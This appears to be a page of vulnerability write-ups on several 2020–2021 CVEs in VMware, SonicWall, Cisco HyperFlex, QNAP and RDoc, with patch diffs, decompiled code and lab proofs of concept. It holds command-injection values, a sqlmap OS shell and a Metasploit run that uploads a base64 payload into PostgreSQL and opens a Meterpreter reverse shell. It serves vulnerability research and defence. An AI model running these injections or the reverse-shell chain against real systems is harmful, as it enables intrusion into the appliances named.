==> /var/log/nginx/access.log <== 192.168.123.1 - - [17/May/2021:17:54:26 -0700] "POST /storfs-asup HTTP/1.1" 200 0 "-" "curl/7.64.1" ==> /var/log/springpath/stBootstrapGuiBackend.log <== 2021-05-18-00:54:26.012 [tomcat-http-2] INFO com.storvisor.sysmgmt.service.StorfsAsup.processRequest():59 - storfs-asup cmd to run : exec /bin/storfs-asup `id` `id` > /dev/null 2021-05-18-00:54:26.012 [tomcat-http-2] INFO com.storvisor.sysmgmt.service.StorfsAsup.processRequest():64 - Starting the storfs-asup now: 2021-05-18-00:54:26.017 [tomcat-http-2] INFO com.storvisor.sysmgmt.service.StorfsAsup.processRequest():71 - storfs-asup command completed in (4 ) milliseconds, with exit code (127) and error message: /bin/bash: /bin/storfs-asup: No such file or directory 2021-05-18-00:54:26.020 [tomcat-http-2] ERROR com.storvisor.sysmgmt.service.StorfsAsup.processRequest():89 - Failed to run the /bin/storfs-asup command. 2021-05-18-00:54:26.020 [tomcat-http-2] INFO com.storvisor.sysmgmt.service.StorfsAsup.processRequest():91 - Done executing asup command. ==> /var/log/tomcat7/catalina.out <== 2021-05-18-00:54:26.012 INFO com.storvisor.sysmgmt.service.StorfsAsup:59 - storfs-asup cmd to run : exec /bin/storfs-asup `id` `id` > /dev/null 2021-05-18-00:54:26.012 INFO com.storvisor.sysmgmt.service.StorfsAsup:64 - Starting the storfs-asup now: 2021-05-18-00:54:26.017 INFO com.storvisor.sysmgmt.service.StorfsAsup:71 - storfs-asup command completed in (4 ) milliseconds, with exit code (127) and error message: /bin/bash: /bin/storfs-asup: No such file or directory 2021-05-18-00:54:26.020 ERROR com.storvisor.sysmgmt.service.StorfsAsup:89 - Failed to run the /bin/storfs-asup command. 2021-05-18-00:54:26.020 INFO com.storvisor.sysmgmt.service.StorfsAsup:91 - Done executing asup command. ==> /var/log/tomcat7/localhost_access_log.2021-05-17.txt <== 127.0.0.1 - - [17/May/2021:17:54:26 -0700] "POST /storfs-asup HTTP/1.0" 200 -
2
Technical Analysis
Please read @ccondon-r7’s excellent assessment of CVE-2020-4006. The following is a technical analysis of the vulnerability.
I decided to revisit CVE-2020-4006 after it (and other vulnerabilities) received renewed attention for use in a nation state actor’s TTPs. I also managed to obtain the software this time. I did not manage to obtain the patch, so the following analysis is a “best effort” attempt to deduce the vulnerability.
CVE-2020-4006 is a post-auth command injection in VMware Workspace ONE Access and multiple related products. The vulnerability lies in the /cfg/ssl/installSelfSignedCertificate endpoint within the “Appliance Configurator” service on TLS port 8443. By specifying a malicious san parameter in a POST request to the endpoint, arbitrary shell commands may be executed.
@RequestMapping(method = {RequestMethod.POST}, value = {"/installSelfSignedCertificate"}) @ResponseBody public AjaxResponse installSelfSignedCertificate(MultipartHttpServletRequest request) { try { log.debug("Generating and installing self-signed sslCertificate"); this.workspacePreAuthFilter.storePasswordInSession((HttpServletRequest)request); this.applianceSslCertificateService.generateAndInstallSelfSignedCertificate(request); } catch (AdminPortalException e) { return new AjaxResponse(Messages.getMessage(e.getErrorId(), e.getArgs()), Integer.valueOf(2), false); } return new AjaxResponse(Messages.getMessage("configurator.configure.ssl.installingCertificate"), Integer.valueOf(0), true); }
public void generateAndInstallSelfSignedCertificate(MultipartHttpServletRequest request) throws AdminPortalException { String generateSelfSignedCertCmd[], installSelfSignedCertificateCmd[], sanValue = request.getParameter("san"); String vmName = this.configHelper.getApplianceFqdn(); if (StringUtils.isAllEmpty(new CharSequence[] { sanValue })) { sanValue = vmName; } else if (!sanValue.contains(vmName)) { sanValue = sanValue + "," + vmName; } if (Const.isWindowsDeployment) { generateSelfSignedCertCmd = new String[] { "cmd", "/c", "\"\"" + SELF_SIGNED_CERTIFICATE_CMD + "\"" + " -host " + vmName + " -san " + "\"" + sanValue + "\"" + " -force" + "\"" }; } else { generateSelfSignedCertCmd = new String[] { "/bin/sh", "-c", SELF_SIGNED_CERTIFICATE_CMD + " --makesslcert " + vmName + " " + vmName + " " + sanValue }; } log.info("Executing command {}", Arrays.toString((Object[])generateSelfSignedCertCmd)); try { CommandUtils.executeCommand(generateSelfSignedCertCmd); log.info("Command {} succeeded", Arrays.toString((Object[])generateSelfSignedCertCmd)); } catch (IOException e) { log.error("Command {} failed: {}", Arrays.toString((Object[])generateSelfSignedCertCmd), e.getMessage()); throw new AdminPortalException(null, "configurator.configure.ssl.errorGeneratingSelfSignedCertificate", null); } if (Const.isWindowsDeployment) { installSelfSignedCertificateCmd = new String[] { "cmd", "/c", "\"\"" + SELF_SIGNED_CERTIFICATE_CMD + "\"" + " -host " + vmName + " -install" + "\"" }; } else { installSelfSignedCertificateCmd = new String[] { "/bin/sh", "-c", String.format("nohup %s > /usr/local/horizon/log/installSelfSignedCert.log &", new Object[] { SELF_SIGNED_CERTIFICATE_CMD }) }; } log.info("Executing command {}", Arrays.toString((Object[])installSelfSignedCertificateCmd)); try { CommandUtils.executeCommand(installSelfSignedCertificateCmd); log.info("Command {} succeeded", Arrays.toString((Object[])installSelfSignedCertificateCmd)); } catch (IOException e) { log.error("Command {} failed: {}", Arrays.toString((Object[])installSelfSignedCertificateCmd), e.getMessage()); throw new AdminPortalException(null, "configurator.configure.ssl.errorInstallingCertificate", null); } if (Const.isWindowsDeployment && !this.tomcatUtils.restartApplianceService((HttpServletRequest)request)) { throw new AdminPortalException("configurator.configure.workspaceUrl.errorRestartingService", null); } }
Note that exploitation may restart the service. Activity is logged in the /opt/vmware/horizon/workspace/logs/configurator.log file.
2
Technical Analysis
As per SentinelLabs’ blog post:
- SentinelLabs has discovered five high severity flaws in Dell’s firmware update driver impacting Dell desktops, laptops, notebooks and tablets.
- Attackers may exploit these vulnerabilities to locally escalate to kernel-mode privileges.
- Since 2009, Dell has released hundreds of millions of Windows devices worldwide which contain the vulnerable driver.
- SentinelLabs findings were proactively reported to Dell on Dec 1, 2020 and are tracked as CVE-2021-21551, marked with CVSS Score 8.8.
- Dell has released a security update to its customers to address this vulnerability.
- At this time, SentinelOne has not discovered evidence of in-the-wild abuse.
I expect this to be a long-lived LPE, since it affects so many devices, exploitation is straightforward, and patching is somewhat inconvenient.
ETA: @smcintyre-r7 has written an exploit for CVE-2021-21551.
1
Technical Analysis
Not sure this is the vuln (and I can’t test it), but it stood out to me because the exec_mount() function no longer calls popen(3)… or much of anything else:
int32_t exec_mount(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
- int32_t str3;
- memset(&str3, 0, (int32_t)&g2);
- int32_t str4;
- memset(&str4, 0, (int32_t)&g1);
- sprintf((char *)&str3, "mount.cifs -o \"username=%s,password=\"%s\",soft,iocharset=utf8,%s%s\" %s %s 2>&1", (char *)a3, (char *)a4, (char *)a5, (char *)a6, (char *)a1, (char *)a2);
- struct _IO_FILE * stream = popen((char *)&str3, "r");
- char * str = fgets((char *)&str4, (int32_t)&g265, stream);
- int32_t result = 0;
- if (str != NULL) {
- while (strstr((char *)&str4, (char *)((int32_t)&g177 + 0x109d4)) == NULL) {
- char * str2 = fgets((char *)&str4, (int32_t)&g265, stream);
- result = -1;
- if (str2 == NULL) {
- goto lab_0x10a14;
- }
- }
- char * found_char_pos = strchr((char *)&str4, 40);
- result = -13;
- if (found_char_pos != NULL) {
- char * str5 = (char *)((int32_t)found_char_pos + 1);
- *strchr(str5, 41) = 0;
- sscanf(str5, "%d");
- result = -1;
- }
- }
- lab_0x10a14:
- if (stream != NULL) {
- pclose(stream);
- }
- return result;
+ int32_t str;
+ memset(&str, 0, (int32_t)&g2);
+ sprintf((char *)&str, "mount.cifs -o \"username=%s,password=\"%s\",soft,iocharset=utf8,%s%s\" %s %s 2>&1", (char *)a3, (char *)a4, (char *)a5, (char *)a6, (char *)a1, (char *)a2);
+ return 0;
}
The CIFS_Mount_Speed() function no longer calls system(3) either:
int32_t CIFS_Mount_Speed(int32_t a1, int32_t a2, int32_t a3, int32_t a4) {
int32_t str;
memset(&str, 0, (int32_t)&g1);
int32_t str2;
- memset(&str2, 0, (int32_t)&g83);
+ memset(&str2, 0, (int32_t)&g82);
int32_t v1 = 0;
int32_t v2;
- memset(&v2, 0, (int32_t)&g80);
+ memset(&v2, 0, (int32_t)&g79);
int32_t v3;
memset(&v3, 0, 128);
int32_t v4;
function_3a18((int32_t)((char)v4 == 47) + a2, &v1);
int32_t v5;
function_3a18(a3, &v5);
function_3a18(a4, &v3);
char * v6 = (char *)a1;
sprintf((char *)&str, "//%s/%s", v6, &v1);
sprintf((char *)&str2, "%s/%s/%s/%s", "/mnt/RTRR_CIFS", v6, &v3, &v1);
int32_t str3;
sprintf((char *)&str3, "mkdir -p %s", &str2);
- system((char *)&str3);
int32_t v7;
- memcpy(&v7, (int32_t *)((int32_t)&g169 + 0x10bb0), (int32_t)&g90);
+ memcpy(&v7, (int32_t *)((int32_t)&g158 + 0x10a7c), (int32_t)&g89);
int32_t v8;
- memcpy(&v8, (int32_t *)((int32_t)&g169 + 0x10df0), 128);
+ memcpy(&v8, (int32_t *)((int32_t)&g158 + 0x10cbc), 128);
int32_t v9 = &v7;
int32_t v10 = function_3e20(&str, &str2, a4, &v5, v9, &v8);
int32_t result = 0;
while (v10 != 0) {
int32_t v11;
int32_t v12 = function_3e20(&str, &str2, a4, &v5, v9, &v11);
result = 0;
if (v12 == 0) {
break;
}
v9 += 64;
if (v9 == (int32_t)&v5) {
result = -v12;
return result;
}
v10 = function_3e20(&str, &str2, a4, &v5, v9, &v8);
result = 0;
}
- lab_0x10c7c:
+ lab_0x10b6c:
return result;
}
function_3e20() above is actually exec_mount(). Sorry about that.
2
Technical Analysis
CVE-2021-31799
Perlisms strike again in this RDoc command injection. Kernel#open is not safe.
Patch
File is lib/rdoc/rdoc.rb.
##
# Removes file extensions known to be unparseable from +files+ and TAGS
# files for emacs and vim.
def remove_unparseable files
files.reject do |file, *|
file =~ /\.(?:class|eps|erb|scpt\.txt|svg|ttf|yml)$/i or
(file =~ /tags$/i and
- open(file, 'rb') { |io|
+ File.open(file, 'rb') { |io|
io.read(100) =~ /\A(\f\n[^,]+,\d+$|!_TAG_)/
})
end
end
PoC
wvu@kharak:~/Downloads/poc$ cat vulnerable
cat: vulnerable: No such file or directory
wvu@kharak:~/Downloads/poc$ touch "| echo HACK THE PLANET > vulnerable # tags"
wvu@kharak:~/Downloads/poc$ rdoc
Parsing sources...
100% [ 1/ 1] | echo HACK THE PLANET > vulnerable # tags
Generating Darkfish format into /Users/wvu/Downloads/poc/doc...
Files: 1
Classes: 0 (0 undocumented)
Modules: 0 (0 undocumented)
Constants: 0 (0 undocumented)
Attributes: 0 (0 undocumented)
Methods: 0 (0 undocumented)
Total: 0 (0 undocumented)
0.00% documented
Elapsed: 0.1s
wvu@kharak:~/Downloads/poc$ cat vulnerable
HACK THE PLANET
wvu@kharak:~/Downloads/poc$
2
Technical Analysis
CVE-2021-20020?
Seems to be Postgres running in trust mode on TCP port 5029, which essentially equates to unauthenticated access as the Postgres superuser. This can, of course, be leveraged to achieve RCE. Privilege escalation presumably follows.
Patch
diff --git a/com/sonicwall/appliance/util/DatabaseUpdate.java b/com/sonicwall/appliance/util/DatabaseUpdate.java index 191c850..1578952 100644 --- a/com/sonicwall/appliance/util/DatabaseUpdate.java +++ b/com/sonicwall/appliance/util/DatabaseUpdate.java @@ -378,6 +378,7 @@ public class DatabaseUpdate } else if (ibdbengine.equalsIgnoreCase("postgres") && !ApplianceUtil.isFlowAgentEnabled(applianceRole) && !ApplianceUtil.isFlowForwarder(applianceRole)) { + checkPostgresAccessMode(dbug); ApplianceUtil.setPostgresMemory(ramMB); SharedUtils.writeFile(dbug, " -> Set IB(postgres) memory completed.\n", doAppend); } @@ -1342,6 +1343,97 @@ public class DatabaseUpdate SharedUtils.writeFile(dbug, " -> Database update completed @ " + new Date() + ".\n", doAppend); } + private void checkPostgresAccessMode(File dbug) { + try { + String pgDataPath = SharedUtils.getPGDataDirectory(installDir); + SharedUtils.writeFile(dbug, " -> Report database PG directory : " + pgDataPath + ".\n", true); + File hbConfFile = new File(pgDataPath + File.separator + "pg_hba.conf"); + if (hbConfFile.exists()) { + boolean isOnTrustMode = false; + try (BufferedReader br = new BufferedReader(new FileReader(hbConfFile))) { + String line = null; + while ((line = br.readLine()) != null) { + if (line.trim().startsWith("host") && line.contains("trust")) { + isOnTrustMode = true; + break; + } + } + } + if (isOnTrustMode) { + SharedUtils.writeFile(dbug, " -> Postgres is on trust mode. It needs to be changed..\n", true); + + boolean startService = ApplianceUtil.modifyServices(new String[] { ApplianceUtil.REPORT_DATABASE_SERVICE }, ApplianceUtil.START_SERVICE); + if (startService) { + SharedUtils.writeFile(dbug, " -> Report database service has been STARTED : " + startService + ".\n", true); + Class.forName("org.postgresql.Driver").newInstance(); + String url = "jdbc:postgresql://127.0.0.1:5029/postgres"; + try(Connection conn = DriverManager.getConnection(url, "postgres", ""); + Statement stmt = conn.createStatement()) { + + + try { + String S_STRING = "2D2624C80F73C1B77C4A091581F3AD25"; + stmt.executeUpdate("ALTER USER postgres WITH PASSWORD '" + TEAV.decryptText(S_STRING) + "'"); + SharedUtils.writeFile(dbug, " -> Report database super user password set succesfully.\n", true); + } catch (Exception e) { + LogUtil.logError(e, "Error while setting super user password : " + e.getMessage(), "checkPostgresAccessMode", "DatabaseUpdate"); + SharedUtils.writeFile(dbug, " -> Error while setting super user password. Error : " + e.getMessage() + ".\n", true); + } + + } catch (SQLException sqe) { + + SharedUtils.writeFile(dbug, " -> EMPTY password failed, which means the root password was already set. Error : " + sqe.getMessage() + ".\n", true); + } + } + + boolean stopService = ApplianceUtil.modifyServices(new String[] { ApplianceUtil.REPORT_DATABASE_SERVICE }, ApplianceUtil.STOP_SERVICE); + SharedUtils.writeFile(dbug, " -> Report database service has been STOPPED : " + stopService + ".\n", true); + + File hbConfTrustFile = new File(pgDataPath + File.separator + "pg_hba_do_not_use_" + (System.currentTimeMillis() / 1000L) + ".conf"); + boolean rename = hbConfFile.renameTo(hbConfTrustFile); + if (!rename) { + rename = (hbConfTrustFile.delete() && hbConfFile.renameTo(hbConfTrustFile)); + } + SharedUtils.writeFile(dbug, " -> Rename existing hba conf file : " + rename + ".\n", true); + if (rename) { + try(BufferedReader br = new BufferedReader(new FileReader(hbConfTrustFile)); + BufferedWriter bw = new BufferedWriter(new FileWriter(hbConfFile))) { + String line = null; + while ((line = bufferedReader.readLine()) != null) { + if (line.trim().startsWith("host") || line.trim().startsWith("#host") || line.trim().startsWith("local") || line.trim().startsWith("#local")) { + bw.write(line.replaceAll("trust", "md5")); + } else { + bw.write(line); + } + bw.newLine(); + } + bw.flush(); + SharedUtils.writeFile(dbug, " -> Updated the mode of access to MD5 for all the hosts.\n", true); + } + if (SharedUtils.isLinux()) { + ApplianceProcessRunner proc = new ApplianceProcessRunner(); + proc.exec("chown -R postgres:postgres " + pgDataPath + File.separator + "pg_hba.conf"); + SharedUtils.writeFile(dbug, " -> updated hba conf file permissios.\n", true); + } + SharedUtils.writeFile(dbug, " -> Delete backup hba conf file : " + hbConfTrustFile.delete() + ".\n", true); + startService = ApplianceUtil.modifyServices(new String[] { ApplianceUtil.REPORT_DATABASE_SERVICE }, ApplianceUtil.START_SERVICE); + SharedUtils.writeFile(dbug, " -> Report database service has been STARTED : " + startService + ".\n", true); + } else { + SharedUtils.writeFile(dbug, " -> Rename of existing hba conf file failed..!!!!!!.\n", true); + } + } else { + SharedUtils.writeFile(dbug, " -> pg_hba.conf file has all md5. No changes required..\n", true); + } + } else { + SharedUtils.writeFile(dbug, " -> pg_hba.conf file does noit exist in PG Data Directory : " + pgDataPath + ".\n", true); + } + } catch (Exception e) { + SharedUtils.writeFile(dbug, " -> ERROR while checking trust mode in hba conf file. Error : " + e.getMessage() + ".\n", true); + LogUtil.logError(e, e.getMessage(), "checkPostgresAccessMode", "DatabaseUpdate"); + LogUtil.printStackTrace(e); + } + } +
PoC
wvu@kharak:~$ psql -U postgres -h 192.168.123.133 -p 5029
psql (13.2, server 9.2.2)
Type "help" for help.
postgres=# \du
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------+-----------
postgres | Superuser, Create role, Create DB, Replication | {}
postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(3 rows)
postgres=#
Check
wvu@kharak:~$ nmap -Pn -n -v -p 5029 --script +pgsql-brute --script-args userdb=<(echo postgres),passdb=<(echo CVE-2021-20020) 192.168.123.133 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-29 17:13 CDT NSE: Loaded 1 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed Initiating Connect Scan at 17:13 Scanning 192.168.123.133 [1 port] Discovered open port 5029/tcp on 192.168.123.133 Completed Connect Scan at 17:13, 0.00s elapsed (1 total ports) NSE: Script scanning 192.168.123.133. Initiating NSE at 17:13 Completed NSE at 17:13, 0.01s elapsed Nmap scan report for 192.168.123.133 Host is up (0.00073s latency). PORT STATE SERVICE 5029/tcp open infobright | pgsql-brute: |_ postgres => Trusted authentication NSE: Script Post-scanning. Initiating NSE at 17:13 Completed NSE at 17:13, 0.00s elapsed Read data files from: /usr/local/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds wvu@kharak:~$
Exploit
wvu@kharak:~$ sqlmap -d postgresql://postgres:CVE-2021-20020@192.168.123.133:5029/postgres --os-shell [snip] os-shell> id [19:13:28] [INFO] resumed: [[u'uid=104(postgres) gid=104(postgres) groups=104(postgres)']]... command standard output: 'uid=104(postgres) gid=104(postgres) groups=104(postgres)' os-shell> uname -a [19:13:29] [INFO] resumed: [[u'Linux gms.example.com 3.18.44-snwl-VMWare-x64 #1 SMP Tue Jan 5 20:04:11 PST 2021 x86_64 GNU/Linux']]... command standard output: 'Linux gms.example.com 3.18.44-snwl-VMWare-x64 #1 SMP Tue Jan 5 20:04:11 PST 2021 x86_64 GNU/Linux' os-shell>
msf6 exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Trying postgres:CVE-2021-20020@192.168.123.133:5029/postgres
[*] 192.168.123.133:5029 Postgres - querying with 'select version()'
[*] 192.168.123.133:5029 - PostgreSQL 9.2.2 (IB_33928), shared on x86_64-unknown-linux-gnu, compiled by gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-44), 64-bit
[*] 192.168.123.133:5029 Postgres - querying with 'select lo_creat(-1)'
[*] 192.168.123.133:5029 Postgres - querying with 'delete from pg_largeobject where loid=16556'
[*] 192.168.123.133:5029 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16556, 0, decode('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', 'base64'))'
[*] 192.168.123.133:5029 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16556, 1, decode('sAMAAAAAAACwAwAAAAAAAFoAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAQgAAAAEAAAADAAAAAAAAABAUAAAAAAAAEAQAAAAAAACDAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAEAAAAGAAAAAwAAAAAAAACgFAAAAAAAAKAEAAAAAAAAAAEAAAAAAAACAAAAAAAAABAAAAAAAAAAEAAAAAAAAABIAAAADgAAAAMAAAAAAAAAoBUAAAAAAACgBQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAVAAAAAEAAAADAAAAAAAAAKgVAAAAAAAAqAUAAAAAAABIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAF0AAAADAAAAAAAAAAAAAAAAAAAAAAAAAHAJAAAAAAAAZwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAALmR5bmFtaWMALnJvZGF0YQAuZHluc3RyAC5oYXNoAC5yZWxhLnBsdAAucmVsYS5keW4ALmR5bnN5bQAudGV4dAAuZGF0YQAuaW5pdF9hcnJheQAuZ290LnBsdAAuc2hzdHJ0YWIA', 'base64'))'
[*] 192.168.123.133:5029 Postgres - querying with 'select lo_export(16556, '/tmp/LioDnmLR.so')'
[*] Uploaded as /tmp/LioDnmLR.so, should be cleaned up automatically
[*] 192.168.123.133:5029 Postgres - querying with 'create or replace function pg_temp.fyUNIYwYUo() returns void as '/tmp/LioDnmLR.so','fyUNIYwYUo' language c strict immutable'
[*] 192.168.123.133:5029 Postgres - Disconnected
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 192.168.123.133
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.133:50512) at 2021-04-30 14:17:03 -0500
meterpreter > getuid
Server username: postgres @ gms.example.com (uid=104, gid=104, euid=104, egid=104)
meterpreter > sysinfo
Computer : gms.example.com
OS : (Linux 3.18.44-snwl-VMWare-x64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
3
Technical Analysis
CVE-2021-20021 is being exploited in the wild to gain admin access to SonicWall Email Security appliances. RCE typically follows.
The vulnerable endpoint /createou is implemented as follows:
<servlet-mapping> <servlet-name>createou</servlet-name> <url-pattern>/createou</url-pattern> </servlet-mapping>
<servlet> <servlet-name>createou</servlet-name> <servlet-class>com.mailfrontier.msgcenter.app.api.hosted.ActivateAccount</servlet-class> <init-param> <param-name>Method</param-name> <param-value>ActivateHES</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
public void doBoth(HttpServletRequest request, HttpServletResponse response) throws IOException { Log.info("Request received to create OU."); String inputXML = request.getParameter("data"); String methodName = getInitParameter("Method"); if (null == inputXML) { inputXML = readRequest(request); } if (StringUtil.isEmpty(inputXML)) { String str = HostedConfigurationManager.generateResponseXML("FAILURE", methodName, "100", "Input XML is empty."); sendResonse(str, response); return; } HostedConfigurationManager hostedMgr = new HostedConfigurationManager(); String outputXML = null; if ("ActivateHES".equals(methodName)) { outputXML = hostedMgr.createAccount(inputXML, request.getLocale()); } else if ("DeleteHES".equals(methodName)) { outputXML = hostedMgr.deleteOUAccount(inputXML); } else if ("ResetPasswordHES".equals(methodName)) { outputXML = hostedMgr.resetOUPassword(inputXML); } else if ("ActivateServiceHES".equals(methodName)) { outputXML = hostedMgr.activateService(inputXML); } else { return; } sendResonse(outputXML, response); }
And here’s how you can check for the vuln:
wvu@kharak:~$ curl -v http://192.168.123.250/createou -d data= * Trying 192.168.123.250... * TCP_NODELAY set * Connected to 192.168.123.250 (192.168.123.250) port 80 (#0) > POST /createou HTTP/1.1 > Host: 192.168.123.250 > User-Agent: curl/7.64.1 > Accept: */* > Content-Length: 5 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 5 out of 5 bytes < HTTP/1.1 200 < pragma: public < Cache-Control: public < Content-Type: text/xml < Content-Length: 280 < Date: Wed, 28 Apr 2021 07:46:54 GMT < <?xml version="1.0" encoding="UTF-8"?> <RESPONSE> <COMPONENT>HOSTEDES</COMPONENT> <METHOD>ActivateHES</METHOD> <OUTPUT_XML> <RESPONSESTATUS>FAILURE</RESPONSESTATUS> <ERRORNUMBER>100</ERRORNUMBER> <ERRORDESCRIPTION>Input XML is empty.</ERRORDESCRIPTION> </OUTPUT_XML> </RESPONSE> * Connection #0 to host 192.168.123.250 left intact * Closing connection 0 wvu@kharak:~$
The following XML strings are particularly significant:
<COMPONENT>HOSTEDES</COMPONENT>
<METHOD>ActivateHES</METHOD>
<ERRORDESCRIPTION>Input XML is empty.</ERRORDESCRIPTION>
2
Technical Analysis
Please see CVE-2021-21975’s Rapid7 analysis. CVE-2021-21975 can be chained with CVE-2021-21983 to achieve unauthed RCE.
2
Technical Analysis
Please see the Rapid7 analysis or CVE-2021-21983’s assessment.
Update: According to GreyNoise, attackers are scanning for CVE-2021-21975.
5
Technical Analysis
CVE-2021-22986
This writeup has been updated to thoroughly reflect my findings and that of the community’s. Thank you!
This vulnerability appears to involve some kind of auth bypass or even SSRF, judging by my patch analysis and testing. The full-context patch below has its line numbers adjusted for use in a debugger.
